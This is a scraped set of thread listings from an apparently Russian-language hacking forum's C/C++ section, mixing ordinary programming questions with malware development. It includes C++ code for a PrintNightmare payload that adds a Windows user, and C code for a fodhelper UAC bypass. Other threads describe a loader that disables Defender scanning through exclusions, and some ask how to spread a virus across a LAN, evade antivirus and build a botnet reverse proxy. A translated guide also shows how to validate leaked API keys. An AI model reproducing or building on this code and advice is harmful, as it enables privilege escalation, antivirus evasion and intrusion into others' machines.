[пишем свой .dll] C++ добавление юзера через PrintNightmare
ID: 6765d804b4103b69df3758e4
Thread ID: 64296
Created: 2022-03-15T17:50:06+0000
Last Post: 2022-03-18T12:24:19+0000
Author: Balora19
Replies: 9 Views: 663

На досуге перечитывал паблик CVE-2021-1675,а именно PrintNightmare: https://github.com/nemo-wq/PrintNightmare-CVE-2021-34527, и стало интересно в рамках обучения winAPI и плюсов под винду, что же там за .dll на добавления юзера (кто не в курсе, подсовывается вредоносной DLL для того чтобы добавить юзера), причем сурсов на эту .dll ни где нету, по итогу решил попробовать разобраться сам.
Идея была такая:
1)на плюсах написать PE для добавления юзера
2)далее с помощью скрипта питона поменять хедеры, чтобы PE замаскировался под .dll
Код такой:

C++:Copy to clipboard

#ifndef UNICODE
#define UNICODE
#endif
#pragma comment(lib, "netapi32.lib")

#include <stdio.h>
#include <windows.h>
#include <lm.h>
#include <iostream>
LPWSTR ConvertToLPWSTR(const std::string& s)
{
    LPWSTR ws = new wchar_t[s.size() + 1];
    copy(s.begin(), s.end(), ws);
    ws[s.size()] = 0;
    return ws;
}

void AddRDPUser()
{
    std::string s = "testUSER";
    LPWSTR nameLP = ConvertToLPWSTR(s);
    std::string a = "testUser123";
    LPWSTR passLP = ConvertToLPWSTR(a);

    USER_INFO_1 ui;
    DWORD dwLevel = 1;
    DWORD dwError = 0;
    NET_API_STATUS nStatus;

    ui.usri1_name = nameLP;

    ui.usri1_password = passLP;

    ui.usri1_priv = USER_PRIV_USER;
    ui.usri1_home_dir = NULL;
    ui.usri1_comment = NULL;
    ui.usri1_flags = UF_SCRIPT;
    ui.usri1_script_path = NULL;

    nStatus = NetUserAdd(NULL, dwLevel, (LPBYTE)&ui, &dwError);


}
int main()
{
    AddRDPUser();
}

Вообщем-то PE работает, от админа добавляет юзера, но .dll не реагирует,
Поэтому интересно, есть ли сурцы дефолтной .dll которую юзают все с PrintNightmare?
Если нет, то как сделать так так чтобы .dll или PE запускались по дефолту от админа?

Проблема с UAC Bypass
ID: 6765d804b4103b69df375881
Thread ID: 72323
Created: 2022-08-28T00:24:38+0000
Last Post: 2022-10-20T07:50:48+0000
Author: n0kkster
Replies: 10 Views: 661

Собственно всем привет, уважаемые! Реализую самый заезженный способ байпасса юак через fodhelper.exe на сишечке, но проблема заключается в том, что как бы я не пытался запустить fodhelper из под x32, софтина не видит его, хоть убей. Пробовал через CreateProcess, ShellExecuteEx, даже через гребанный system(путь до fodhelper), ничего не помогло. В х64 все прекрасно работает. Не понимаю в какую сторону копать, чтобы понять почему такая проблема возникает именно на x32. Если запущу таким же образом условный calc.exe, то все отработает на ура.

C:Copy to clipboard

 SHELLEXECUTEINFOW shellinfo;
        shellinfo.lpVerb = L"open";
        shellinfo.lpFile = L"C:\\Windows\\System32\\fodhelper.exe";
        shellinfo.nShow = 0;
        shellinfo.fMask = SEE_MASK_NOCLOSEPROCESS;
        shellinfo.cbSize = sizeof(SHELLEXECUTEINFOW);
        shellinfo.hwnd = 0;
        shellinfo.lpParameters = 0;
        shellinfo.lpDirectory = 0;
        shellinfo.hInstApp = 0;
        if (API(SHELL32, ShellExecuteExW)(&shellinfo))
        {
            wprintf(L"Created process sucessfully through shellexecute\n");
            API(KERNEL32, ExitProcess)(0);
        }
        else
            Exit(L"error while creating process");

Spoiler: ошибка

1661647395163.png

Вопрос по C++ CRT
ID: 6765d804b4103b69df3758e5
Thread ID: 64168
Created: 2022-03-12T16:39:34+0000
Last Post: 2022-03-16T13:29:48+0000
Author: Махронов
Replies: 26 Views: 658

Всем привет, не давно решил начать писать малвари на c++, без использования crt, инфу о том как писать без crt не нашел, на поиски потратил ~5 часов, и отчаевшись прошу вас о помощи.

Что мне надо конкретно?
1. Чем можно заменять crt функции.
2. Где можно найти гайды/статьи.
3. С чего стоит начать?
4. Может какие либо сурсы с гитхаба для ознакомления, если таковы имеются.

LoadPE поддержка экспорт функций
ID: 6765d804b4103b69df375901
Thread ID: 62959
Created: 2022-02-14T14:46:45+0000
Last Post: 2022-02-14T15:28:44+0000
Author: awaken1337
Replies: 4 Views: 658

Собственно сабж, как сделать поддержку экспорт функций в LoadPE?
P.S Криптую Делфи стаб

Оптимизация программ на C++
ID: 6765d804b4103b69df375906
Thread ID: 62793
Created: 2022-02-11T09:40:01+0000
Last Post: 2022-02-11T09:40:01+0000
Author: camawe
Prefix: Мануал/Книга
Replies: 0 Views: 653

[

Оптимизация_программ_на_C++_Проверенные_методы_повышения_производительности.pdf

  • AnonFiles ](https://anonfiles.com/t6Eeq3Hcxa/_C_pdf)

anonfiles.com anonfiles.com

Метапрограммирование - строковая константа
ID: 6765d804b4103b69df3758b9
Thread ID: 68612
Created: 2022-06-13T15:26:31+0000
Last Post: 2022-06-13T15:48:12+0000
Author: DildoFagins
Replies: 1 Views: 653

Есть строковая константа

C:Copy to clipboard

char* String = "string";

, требуется средствами метапрограммирования сделать так, чтобы после компиляции вместо того, чтобы быть константой строка собиралась по частям на стеке, вот пример реализации в коде

C:Copy to clipboard

char* String[] = { 's', 't', 'r', 'i', 'n', 'g', 0 };

Суть задачи заключается в упрощении себе жизни при разработке шеллкодов, используя компилятор сишки, может кто то посоветует более элегантное решение?

Лоадер C# с обходом DF (source)
ID: 6765d804b4103b69df375729
Thread ID: 110871
Created: 2024-03-20T10:02:09+0000
Last Post: 2024-03-21T22:23:46+0000
Author: ZXSCoder
Prefix: Мануал/Книга
Replies: 5 Views: 652

В общем за последние несколько дней уже на 3 темы наткнулся по обходу.
Решил написать свой боле менее адекватный лоадер на том на чем умею.

Что делает:

  • Получает админ права(немного агрессивно как в AsyncRat)
  • Создает папку куда будет все качать и добавляет в исключения ДФ
  • Умеет качать zip архивы и запускать все файлы exe в них
  • Умеет качать exe файлы раздувая их в весе и запуская, может и не имеет смысла если в исключениях ДФ...
  • Можно добавлять сколько угодно ссылок

Скриншот 20-03-2024 205101.jpg

Проверял на ВМ Win10 с ласт апдейтами на детектируемом файле, ДФ молчит.

Так как все написано с 0 конечно же сам лоадер пока будет полный фуд:

![kleenscan.com](/proxy.php?image=https%3A%2F%2Fkleenscan.com%2Fimages%2Flogo- mini.png&hash=f0087456dc8cef90f219c8e9607b4c84&return_error=1)

[ Kleenscan.com

](https://kleenscan.com/scan_result/62b211dbab56f92031a3d6066447de972739c73d7ae7081e3e258d7ce23c3e35)

Analyze files to detect malware. Analyze URLs, domains, and IPs to detect malware and blacklist status.

kleenscan.com kleenscan.com

Пока какая то бяка на вт не зальет) Но суть написания была чисто ради интереса, и вопроса почему это так сложно что столько тем...оказалось не такая уж это и проблема обойти ДФ самыми примитивными методами.

Хранение конфиденциальной информации в открытом виде (жестко закодированные строки, учетные данные, токены и ключи)
ID: 6765d804b4103b69df3759de
Thread ID: 48023
Created: 2021-02-12T21:11:00+0000
Last Post: 2021-02-12T21:11:00+0000
Author: danyrusdem
Replies: 0 Views: 652

Прежде чем мы начнем, нам нужен apk, который можно извлечь с устройства, установив приложение через магазин воспроизведения или загрузив apk из онлайн- источников.
Для практических целей мы будем искать жестко запрограммированный ключ API Google.

Теперь давайте начнем анализировать приложение, открыв его в Jadx.

Примечание. В большинстве случаев жестко запрограммированные секреты можно найти в AndroidManifest.xml и Strings.xml, и убедитесь, что вы также проверяете необработанную папку на наличие секретов.
Поэтому, если вы пройдете через файл resources.arsc / res / values / strings.xml, мы сможем найти ключ API Google, как показано.
1 3cDLNfzWrV5aUr-4UlamFQ.png
Но мы понятия не имеем о ключе и о том, действителен он или нет.

Итак, давайте использовать KeyHacks, он показывает способ проверить, являются ли найденные ключи действительными ключами, что приводит к утечке конфиденциальной информации и допустимым способам использования конкретных ключей API.
Перейти к KeyHacks и выполнить поиск google и найти несколько сервисов, доступных для ключа api, поэтому я заменил ключевое слово key_here в URL- адресах сервисов и проверил ответ.
1 3cDLNfzWrV5aUr-4UlamFQ.png

Я получил эту ошибку для нескольких служб, с помощью которых я предполагаю, что имею право использовать эту службу, но не с этого IP-адреса, т.е. ограничение реферала.
просматривая код, я наткнулся на один текущий запрос с двумя уникальными заголовками, которые привлекли мое внимание.Это были:X-Android-Cert и X-Android-Package.
1 MQjsT2HHe00KxuHvgekxkg.png
Android-Cert содержит хэш сертификата приложения в SHA1. Чтобы проверить это:

Извлеките apk с помощью диспетчера архивов и выберите / META-INF, который содержит файл сертификата. Для просмотра информации, связанной с сертификатом, используйте keytool.
keytool -printcert -file CERT.RSA
1 zOaud58cWG6WaFR2q4LPwg.png
Второй заголовок довольно информативен с названием X-Android-Package. Это имя пакета apk - com.redhibited.app добавьте оба заголовка в запрос API Google, чтобы узнать, можно ли обойти авторизацию.

Spoiler: Оригинал

medium.com

[ Insecure Data Storage: Clear Text Storage of Sensitive Information

(Hard-coded strings… ](https://medium.com/mobis3c/insecure-data-storage-clear- text-storage-of-sensitive-information-hard-coded-strings-fb7b056c0d0)

Before we get started, we need to have the apk which can be extracted from the device by installing the application through the play store…

medium.com medium.com

Перевёл:danyrusdem

Размещение функции в памяти
ID: 6765d804b4103b69df3757e4
Thread ID: 88308
Created: 2023-05-18T15:31:21+0000
Last Post: 2023-05-18T19:07:26+0000
Author: coree
Replies: 21 Views: 652

Допустим, у меня есть кусок кода (функция), которую я копирую (!) в памяти по другому адресу (прохожусь циклом пока не встречу ret и пишу это в массив а потом копирую). Эта функция должна работать в качестве хука (я подменяю ее адресом адрес того что мне надо хукнуть), но соответственно ВСЕ вызовы внутри функции ломаются из-за (как я понял) сегментации данных (вызов оригинальной функции соответственно тоже). Так вот вопрос, что в таком случае делать, чтобы вызовы не сбивались?

как взаимодействовать с локальной сетью Си
ID: 6765d804b4103b69df3759ad
Thread ID: 51678
Created: 2021-05-12T14:32:27+0000
Last Post: 2021-05-12T19:28:33+0000
Author: fristailxxx
Replies: 2 Views: 649

Всем привет, есть вирус(самописный, местами плоховатый) на пк жертвы, там 2-3 компа по локалке связаны.
Как я могу распространить вирус на все 3 компа по локалке, и если вдруг я ошибся с кол-вом, то на все пк в локалке?
Разумеется кодом на Си
Если куском кода впадлу делится, то буду рад за скинутую инфу.

Заранее спасибо!

C source code How to find the missing header file?
ID: 6765d804b4103b69df3757c7
Thread ID: 87307
Created: 2023-05-05T06:20:51+0000
Last Post: 2023-07-20T19:11:41+0000
Author: bit57
Replies: 7 Views: 648

How to find the missing header file? Some header files are still nested in dozens of header files, but what should I do? Is there a standard package without header files?

Как найти отсутствующий заголовочный файл? Некоторые файлы заголовков по- прежнему вложены в десятки файлов заголовков, но что мне делать? Есть ли стандартный пакет без заголовочных файлов?

1683267624707.png

Как через gcc(g++) компилировать такой же маленький вес как из под VS?
ID: 6765d804b4103b69df375784
Thread ID: 96860
Created: 2023-08-29T20:35:08+0000
Last Post: 2023-10-07T15:05:19+0000
Author: Alexey18
Replies: 7 Views: 643

Как через gcc(g++) компилировать такой же маленький вес как из под компилятора Visual Studio? В интернете ни нашел годной инфы, ну что это было 49 стало 47 килобайтов. (Код из под вижуалки 20кб ). Кто сталкивался, подскажите плс?

Нативный компилятор приходит в мир дотнетов
ID: 6765d804b4103b69df37587e
Thread ID: 74184
Created: 2022-10-10T20:24:00+0000
Last Post: 2022-10-22T13:32:55+0000
Author: DildoFagins
Replies: 14 Views: 643

В дотнетах 7.0 давно анонсировали нормальный AOT-компилятор, который будет компилировать эти ваши шарпы в нативный код, который не будет требовать установленный на систему фреймворк. Естественно, бинарники будут жирноваты (на уровне голанга), но кого это волнует в 2022 году. Есть логичный ряд ограничений, типа отсутствие рефлекшена и генерации кода через рефлекшн.эмит, но в малвари это вряд ли нужно. Седьмой дотнет должен выйти в ноябре вроде, так что ждем первых копипастенных стиллеров с гитхабов на шарпах, скомпиленных в нативный код. Но можно уже попробовать это потыкать:

Как скопировать сайт написанный на С#
ID: 6765d804b4103b69df3756be
Thread ID: 122088
Created: 2024-09-05T03:24:13+0000
Last Post: 2024-09-17T05:12:51+0000
Author: Cardboard
Replies: 1 Views: 641

В поисковиках ничего об этом не нашел.
Может кто уже проводил подобную процедуру и подскажет в какую сторону копать.

Нужно скопировать сайт написанный на С# из сервера в котором он находится.
Что бы развернуть его копию на своём сервере.

Ранее копировал только лицензионные движки, и впервые столкнулся с сайтом самописом на С#.

wav code
ID: 6765d804b4103b69df375a38
Thread ID: 40666
Created: 2020-08-08T10:40:08+0000
Last Post: 2020-08-08T10:40:08+0000
Author: dumpsmoney
Replies: 0 Views: 640

Need wav decode software full
wav to track 2 decode

Подскажите нормальный IDE для Android
ID: 6765d804b4103b69df3756ca
Thread ID: 121721
Created: 2024-08-29T22:55:48+0000
Last Post: 2024-08-30T10:48:41+0000
Author: Metropoliten
Replies: 1 Views: 637

Не всегда есть возможность за компом работать, поэтому встает вопрос: есть ли на андроид нормальные компиляторы с++?

заказ ппрограм
ID: 6765d804b4103b69df3759a8
Thread ID: 52073
Created: 2021-05-23T01:01:33+0000
Last Post: 2021-05-25T05:49:45+0000
Author: azdefacers
Replies: 2 Views: 637

Нам нужно приложение, которое работает на телефонах Android (4.0 и выше) и может принимать звонки через SIP и перенаправлять их в сеть GSM. Приложение должно перенаправить звук и преобразовать его из SIP в GSM и наоборот. Основные требования к приложению: - Работа без root-прав - Возможность использования GSM модуля телефона - Создание и настройка учётной записи SIP для подключения к SIP серверу (IP + логин/пароль) - Использование кодеков G711/G729 и GSM

We need an application that runs on Android phones (4.0 or above) and can receive calls through SIP and forward it to the GSM network. The application should then forward the audio and convert from SIP to GSM and vice versa. Features - No need root access - Route call from SIP to GSM - Convert audio from/to SIP and GSM networks - Configure SIP Accounts. - Register on Sip Server - Receive call authenticated by IP, user/pass or no authentication. - Use codec G711/ G729 and GSM

Как сделать мультиплексирование для реверс прокси?
ID: 6765d804b4103b69df3756dd
Thread ID: 120050
Created: 2024-08-02T03:50:52+0000
Last Post: 2024-08-02T04:08:23+0000
Author: chromium
Replies: 2 Views: 633

Привет, понадобилось мне сделать адекватный реверс сокс, но вот с сокетами я прям редко-редко сталкивался и соответственно мало что в них понимаю.

Для начала опишу архитектуру, можно её если что предлагать поменять если она неадекватная - буду благодарен только.

БК-сервер часть:
Начну с неё, потому что проблема лежит в бот-части, чтобы было понятнее. Примерно опишу, за технические опечатки сорри.

БК сервер асинхронно принимает соединения на 80 порт от ботов, и при наличии нового соединения (accept) открывает (listen) рандомный свободный порт на приём соединения от пользователя (user -> BC-server -> bot). При получении соединения на listening port юзер стороны все пакеты на него инкапсулирует в структуру которую маркирует ID этого соединения (за ID берется сокет), и пересылает инкапсулированные данные в соединение для бота. Ответ от бота пересылается обратно. Вся проблема возникает в том, что на стороне БК-сервера мы можем плодить сколько угодно сокетов принимая соединения через accept, но пакеты входящие от нескольких соединений (например mstsc любит плодить кучу соединений одновременно на один адрес, или браузер) мы передаем в одно единственное соединение бота, маркируя его в кастомный протокол где у нас идентифицируется номер соединения для мультиплексирования. Дальнейшую проблему опишу ниже в детальных пунктах

Начну с описания БК-сервера подробнее

  1. БК-сервер открывает 80 порт на слушание в неблокирующем режиме через сокеты для приёма коннектов от ботов
    В основном цикле:
  2. неблокирующе опрашивает через accept порт 80, если есть соединение, то добавляет сокет соединения в списочек активных соединений от ботов
  3. делает такой же accept на каждый активно открытый порт для приёма от user'а (если присутствует, при нулевой итерации этот пункт пропускается) и делает такую же операцию как в пункте 2 для него
    4.1) производит попытку прочитать из каждого сокета соединений 80 порта - если соединение неавторизовано, то ожидает авторизации (по кастомному протоколу) и после прохождения присваивает ему уникальный порт и открывает его на прослушивание и приём соединений (то что описывается в пункте 3)
    4.2) если сокет авторизован уже, то то что приходит от бота парсит ID соединения (которое описывалось выше) и делает send в соответствующий сокет юзверя (оперделяя его по ID так как ID соединения от бота совпадает с номером сокета) со стороны юзверя (который открывался на пункте 4.1)
  4. парсит recv в цикле каждый сокет от юзверя и если там есть входящие данные, то пересылает их инкапсулируя в мультиплекс структурку с ID сокета соединения через send в конкретное соединение от бота

Бот часть:

  1. Бот коннектится к БК-серверу, производит авторизацию
    В цикле:
  2. делает recv в ответ ему летят какие-то данные, каждый чанк данных промаркирован ID соединения
  3. если там по проткоолу новое соединение проксирующее, то он соответственно делает соединение куда надо, ассоциируя это соединение с данным ID, ответ возвращает обратно в сокет с данным ID
    соответственно в цикле так гоняет - входящие буфера пишет по ID ассоциированный с конкретным соединением, ответ инкапсулирует в структуру с таким же ID и шлет обратно
    3.1) если это уже проксирование, то определяет по ID нужное соединение и шлет туда данные, ответ пересылает обратно

Проблема вся на пункте 2, 3, 3.1 Бот-части, которая вытекает из пункта БК- сервера 5

Заключается она в том, что множественные соединения (например, их может быть 3 от user -> BC-server -> client) все параллельно пишутся в одно единственное соединение с ботом. И так как нам заранее неизвестен размер отправляемого буфера (условно, проксируемое приложение может производить отправку какими-то чанками, как, например, браузер), то в входящем буфере на боте у нас будет рандом полнейший: блок от одного соединения, блок от другого, блок от первого и тд, и в каком порядке что и как это отправлять не совсем ясно.

Каким образом решить эту проблему? Может стоит от бота делать новое соединение обратно к БК-серверу как у нас прокси устанавливает новое соединение? И уже в это соединение делать общение. Или есть какие-то еще варианты?

нужно провести исследование, ищу опытных байтолюбов
ID: 6765d804b4103b69df375792
Thread ID: 97191
Created: 2023-09-03T14:16:15+0000
Last Post: 2023-09-16T12:02:09+0000
Author: Dread Pirate Roberts
Replies: 5 Views: 633

del, пока что не актуально.

C/C++ GetModuleFileNameW возвращает неверное значение
ID: 6765d804b4103b69df375857
Thread ID: 76686
Created: 2022-11-25T18:47:50+0000
Last Post: 2022-12-03T08:36:39+0000
Author: awaken1337
Replies: 6 Views: 631

Обнаружил проблему при отладке данного кода:

C++:Copy to clipboard

HMODULE hNtdll = GetModuleHandleW(L"ntdll.dll");

WCHAR wcNtdllPath[MAX_PATH];
ZeroMemory(wcNtdllPath, sizeof(wcNtdllPath));

GetModuleFileNameW(hNtdll, wcNtdllPath, sizeof(wcNtdllPath) / sizeof(WCHAR));

Возвращаемое значение из GetModuleFileNameW очень редко, но бывает таким = "ws\\SYSTEM32\\ntdll.dll" вместо "C:\\Windows\\SYSTEM32\\ntdll.dll"
Кто знает из-за чего так случается и как сделать что бы путь всегда получался нормальным?

PsSetCreateProcessNotifyRoutineEx Problem
ID: 6765d804b4103b69df37575d
Thread ID: 104352
Created: 2023-12-19T21:02:06+0000
Last Post: 2023-12-20T20:44:36+0000
Author: 0x43rypt0n
Replies: 12 Views: 630

Hi i was trying to build a windows kernel driver targeting x64

This is the source code

C:Copy to clipboard

#include <Ntifs.h>
#include <ntddk.h>
#include <wdm.h>

UNICODE_STRING DEVICE_NAME = RTL_CONSTANT_STRING(L"\\Device\\SpotlessDevice");
UNICODE_STRING DEVICE_SYMBOLIC_NAME = RTL_CONSTANT_STRING(L"\\??\\SpotlessDeviceLink");


void sCreateProcessNotifyRoutineEx(PEPROCESS process, HANDLE pid, PPS_CREATE_NOTIFY_INFO createInfo)
{
    UNREFERENCED_PARAMETER(process);
    UNREFERENCED_PARAMETER(pid);

    DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, "[-] createInfo->CommandLine->Buffer %s", createInfo->CommandLine->Buffer);
    if (createInfo != NULL)
    {
        if (wcsstr(createInfo->CommandLine->Buffer, L"notepad") != NULL)
        {
            DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, "[!] Access to launch notepad.exe was denied!");
            createInfo->CreationStatus = STATUS_ACCESS_DENIED;
        }
    }
}



NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
{
    UNREFERENCED_PARAMETER(DriverObject);
    UNREFERENCED_PARAMETER(RegistryPath);

    NTSTATUS status = 0;

    // routine that will execute when our driver is unloaded/service is stopped
    DriverObject->DriverUnload = DriverUnload;

    // routine for handling IO requests from userland
    DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = HandleCustomIOCTL;

    // routines that will execute once a handle to our device's symbolik link is opened/closed
    DriverObject->MajorFunction[IRP_MJ_CREATE] = MajorFunctions;
    DriverObject->MajorFunction[IRP_MJ_CLOSE] = MajorFunctions;

    DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, "Driver loaded");

    // subscribe to notifications
    //PsSetCreateProcessNotifyRoutine(sCreateProcessNotifyRoutine, FALSE);
    //PsSetLoadImageNotifyRoutine(sLoadImageNotifyRoutine);
    //PsSetCreateThreadNotifyRoutine(sCreateThreadNotifyRoutine);
    PsSetCreateProcessNotifyRoutineEx(sCreateProcessNotifyRoutineEx, FALSE);
    DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, "Listeners isntalled..");

    IoCreateDevice(DriverObject, 0, &DEVICE_NAME, FILE_DEVICE_UNKNOWN, FILE_DEVICE_SECURE_OPEN, FALSE, &DriverObject->DeviceObject);
    if (!NT_SUCCESS(status))
    {
        DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, "Could not create device %wZ", DEVICE_NAME);
    }
    else
    {
        DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, "Device %wZ created", DEVICE_NAME);
    }

    status = IoCreateSymbolicLink(&DEVICE_SYMBOLIC_NAME, &DEVICE_NAME);
    if (NT_SUCCESS(status))
    {
        DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, "Symbolic link %wZ created", DEVICE_SYMBOLIC_NAME);
    }
    else
    {
        DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, "Error creating symbolic link %wZ", DEVICE_SYMBOLIC_NAME);
    }

    return STATUS_SUCCESS;
}

The code is compiled successfully , but when load the driver on windows 10 i can't get any debug print on dbgview

iam sure problem is not with debug print , one more thing when i use function PsSetCreateProcessNotifyRoutine it works fine and i can see what process created

So if you have guys experince and can help please share it here .

Thanks

dll Hijacking или dll inject ? +что такое c2?
ID: 6765d804b4103b69df3757e7
Thread ID: 85179
Created: 2023-04-04T08:15:44+0000
Last Post: 2023-05-15T06:28:50+0000
Author: babyjo
Replies: 6 Views: 628

По заголовку думаю все понятно, заранее всем спасибо!

как скопировать структуру EPROCESS чтобы потом обращается к её полям(PCB) а не использовать встроенные функции
ID: 6765d804b4103b69df375736
Thread ID: 109725
Created: 2024-03-05T17:41:33+0000
Last Post: 2024-03-06T19:20:36+0000
Author: mddbs
Replies: 17 Views: 626

помогите пожалуйста я в этом новичок )
точнее получить доступ к этой структуре EPROCESS

Алгоритмы
ID: 6765d804b4103b69df3758dc
Thread ID: 64189
Created: 2022-03-13T11:22:17+0000
Last Post: 2022-03-28T07:31:21+0000
Author: SenctumSempra
Replies: 15 Views: 626

Поделитесь своими источниками задачек по программированию
Нужна практика, порой в разработке встаю на моментах, где человек с нормально выработанным алгоритмическим мышлением решил бы задачу за более быстрое время
Да в инете куча всего, я знаю, но может у кого есть что интересное посоветовать

Использование STL в малвари
ID: 6765d804b4103b69df3756d1
Thread ID: 121293
Created: 2024-08-23T10:04:21+0000
Last Post: 2024-08-23T13:11:07+0000
Author: abibasDLL
Replies: 2 Views: 624

Плохо ли, по вашему мнению, если малварь использует STL? Зачем сегодня избегать использования STL?
Как я вижу, скорее отсутствие STL это звоночек для аверка, т.к. легитимный софт её использует, а зловред — нет.
К тому же гонка за минимальным весом бинаря уже, вроде, неактуальна.
Или всё таки есть какие-то причины использовать самописные структуры и функции? Перфоманс? Но что-то я сомневаюсь, что получится реализовать ту же очередь более эффективно, чем это сделано в STL.
Давайте обсудим.

Как написать "с нуля" facebook аторизацию на c++ curl на linux в 2021 году?
ID: 6765d804b4103b69df375973
Thread ID: 55470
Created: 2021-08-18T05:55:16+0000
Last Post: 2021-09-05T17:48:15+0000
Author: web12yel
Replies: 4 Views: 624

Как написать "с нуля" facebook аторизацию на c++ curl на linux в 2021 году? И с помощью какой софтины, можно просмотреть post/get запросы при авторизации, ведь там не http, а шифрованный https?

C++ Create Service on remote machine (netbios)
ID: 6765d804b4103b69df3756f4
Thread ID: 115951
Created: 2024-06-03T06:48:21+0000
Last Post: 2024-06-03T07:54:17+0000
Author: netix
Replies: 1 Views: 622

I need some help to create service on remote machine

the code i tested:

Code:Copy to clipboard

bool CreateRemoteService(
    const wchar_t* remoteMachine,
    const wchar_t* serviceName,
    const wchar_t* displayName,
    const wchar_t* executablePath,
    const wchar_t* user,
    const wchar_t* password
) {
    // Open a handle to the SCM on the remote machine
    SC_HANDLE schSCManager = OpenSCManagerW(remoteMachine, NULL, SC_MANAGER_CREATE_SERVICE);
    if (schSCManager == NULL) {
        return false;
    }

    // Create the service
    SC_HANDLE schService = CreateServiceW(
        schSCManager,           // SCM database
        serviceName,            // name of service
        displayName,            // service name to display
        SERVICE_ALL_ACCESS,     // desired access
        SERVICE_WIN32_OWN_PROCESS, // service type
        SERVICE_DEMAND_START,   // start type
        SERVICE_ERROR_NORMAL,   // error control type
        executablePath,         // path to service's binary
        NULL,                   // no load ordering group
        NULL,                   // no tag identifier
        NULL,                   // no dependencies
        user,                   // account name
        password                // account password
    );

    if (schService == NULL) {
        CloseServiceHandle(schSCManager);
        return false;
    }

    // Start the service
    if (!StartService(schService, 0, NULL)) {
        CloseServiceHandle(schService);
        CloseServiceHandle(schSCManager);
        return false;
    }

    // Close handles
    CloseServiceHandle(schService);
    CloseServiceHandle(schSCManager);

    return true;
}

it seems not to work, if anyone can help i can send btc for it too, i just need to start my exe on remote machine.

Нужен кодер для написания Brute с обходом инкапсулы, акамай и тд
ID: 6765d804b4103b69df3759b4
Thread ID: 51048
Created: 2021-04-25T16:01:05+0000
Last Post: 2021-04-25T16:01:05+0000
Author: BlackBet
Replies: 0 Views: 621

Только с опытом работы ! Для долгосрочного сотрудничества
Контакты ПМ

Data Structures & Algorithms Essentials using C++ (2022) 7.3 GB
ID: 6765d804b4103b69df3756ff
Thread ID: 112223
Created: 2024-04-08T01:35:35+0000
Last Post: 2024-05-17T07:01:09+0000
Author: XSSer
Replies: 2 Views: 621

![mega.nz](/proxy.php?image=https%3A%2F%2Fmega.nz%2Frich- folder.png&hash=63d46597e69ae4a51888711a37d2bf45&return_error=1)

[ 7.25 GB folder on MEGA

](https://mega.nz/folder/kH8gAbhR#tn4CLLqnTYLVCcW606KBxg)

4 files

mega.nz mega.nz

Делаем в XMRig 0% donate.
ID: 6765d804b4103b69df375899
Thread ID: 71819
Created: 2022-08-17T00:53:08+0000
Last Post: 2022-08-26T01:45:47+0000
Author: Pulp Fiction
Replies: 7 Views: 620

Всё проще простого...

Редактируем файл donate.h и меняем это:

Code:Copy to clipboard

constexpr const int kDefaultDonateLevel = 1;
constexpr const int kMinimumDonateLevel = 1;

На это:

Code:Copy to clipboard

constexpr const int kDefaultDonateLevel = 0;
constexpr const int kMinimumDonateLevel = 0;

Да, всё очень просто, просто ставим нули вместо едениц и компилим, почти готово... осталось только открыть файл config.json и тоже поменять там еденички на нули, вот это:

Code:Copy to clipboard

"donate-level": 1,
"donate-over-proxy": 1,

Меняем на это:

Code:Copy to clipboard

"donate-level": 0,
"donate-over-proxy": 0,

Готово. Теперь донат разработчикам XMRig`a стал 0%.

C++ кэширование результатов функций
ID: 6765d804b4103b69df375855
Thread ID: 65254
Created: 2022-04-05T17:32:35+0000
Last Post: 2022-12-04T13:01:44+0000
Author: awaken1337
Replies: 3 Views: 618

Как реализовать хэширование результата функции без STL в С++?

Как использовать задержку в коде чтобы ее не скипал АНТИВИРУС? [C++]
ID: 6765d804b4103b69df37573c
Thread ID: 108900
Created: 2024-02-23T12:04:54+0000
Last Post: 2024-02-25T10:00:35+0000
Author: Russian_Coder
Replies: 4 Views: 616

Как я знаю что обычный слип аверы могут скипать как лучше сделать проверку или реализацию этого что если как то скипалось то программа крашила либо закрывала себя.

Видос по Native API венды (англ)
ID: 6765d804b4103b69df375a1f
Thread ID: 42541
Created: 2020-09-27T09:21:35+0000
Last Post: 2020-09-27T09:21:35+0000
Author: DildoFagins
Replies: 0 Views: 614

Весьма позновательный видос про нативные апишки венды, новичкам и тем, кто задает глупые вопросы, мол как мне изучать winapi/ntapi, будет полезно посмотреть:

C# VirtualKeyStates - Полный список клавиш
ID: 6765d804b4103b69df375999
Thread ID: 52743
Created: 2021-06-10T11:47:48+0000
Last Post: 2021-06-10T12:22:10+0000
Author: EmeliRouse
Replies: 1 Views: 613

Hidden content for authorized users.

C#:Copy to clipboard

        [Flags]
        public enum VirtualKeyStates : int
        {
            VK_LBUTTON = 0x01,       // Left Button
            VK_RBUTTON = 0x02,       // Right Button
            VK_CANCEL = 0x03,        // Break
            VK_MBUTTON = 0x04,       // Middle Button
            VK_XBUTTON1 = 0x05,      // X Button 1
            VK_XBUTTON2 = 0x06,      // X Button 2
            VK_BACK = 0x08,          // Backspace
            VK_TAB = 0x09,           // TAB key
            VK_CLEAR = 0x0C,         // Clear key
            VK_RETURN = 0x0D,        // Enter key
            VK_SHIFT = 0x10,         // Shift key global
            VK_CONTROL = 0x11,       //
            VK_MENU = 0x12,          //
            VK_PAUSE = 0x13,         // Pause
            VK_CAPITAL = 0x14,       // Caps Lock
            VK_KANA = 0x15,          // Kana
            VK_HANGEUL = 0x15,       //
            VK_HANGUL = 0x15,        //
            VK_JUNJA = 0x17,         // Junja
            VK_FINAL = 0x18,         // Final
            VK_HANJA = 0x19,         //
            VK_KANJI = 0x19,         // Kanji
            VK_ESCAPE = 0x1B,        // Esc
            VK_CONVERT = 0x1C,       // Convert
            VK_NONCONVERT = 0x1D,    // Non Convert
            VK_ACCEPT = 0x1E,        // Accept
            VK_MODECHANGE = 0x1F,    // Mode Change
            VK_SPACE = 0x20,         // Space
            VK_PRIOR = 0x21,         // Page Up
